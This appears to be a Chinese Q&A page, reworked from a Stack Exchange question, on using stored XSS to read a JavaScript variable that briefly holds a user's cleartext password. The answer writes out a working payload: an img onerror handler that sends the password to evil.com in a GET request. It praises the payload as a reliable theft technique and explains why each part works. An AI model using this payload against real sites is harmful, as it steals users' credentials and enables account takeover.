如何通过XSS访问仅短暂可见的包含明文密码的JavaScript变量?
问题分析与解决方案
嘿,咱们先掰扯下你最初的循环代码为啥不管用:
原代码的问题点
- 作用域没找对:你直接在代码里访问
cleartext_password,但这个变量大概率不是全局作用域的!如果它是某个函数的局部变量,全局环境根本拿不到,循环多少次都会报“未定义引用”错误。 - 代码没实际作用:就算变量真的存在,你写的
cleartext_password;只是单纯引用了变量,既不会把它输出到控制台,也不会把它发送出去,相当于白跑了循环。 - 时机踩空了:你说这个变量是“短暂存储”的,可能你的循环执行时,变量已经被销毁或者还没初始化,自然啥也检测不到。
你最终方案的妙处
你用的存储型XSS代码相当靠谱,完美解决了这些问题:
<img src=x onerror="this.onerror=null;this.src='http://evil.com?mmmh='+window.vuln_name.clear_textpassword">
- 找对了变量的真实位置:从
window.vuln_name.clear_textpassword能看出来,这个密码变量是挂在全局对象vuln_name下面的,而不是全局直接变量——这就是你之前直接访问cleartext_password找不到的核心原因! - 踩准了触发时机:存储型XSS的触发节点刚好卡在密码变量存在的阶段,能精准读取到还没被销毁的明文密码。
- 可靠的数据窃取逻辑:用
img的onerror事件是XSS窃取数据的经典操作:src=x故意触发加载错误,然后在onerror里把密码拼接到恶意URL参数中,通过GET请求发送出去;this.onerror=null则是为了避免新的src加载失败时重复触发错误,防止控制台报错干扰。
内容的提问来源于stack exchange,提问作者Maicake
相关产品推荐
相关产品推荐

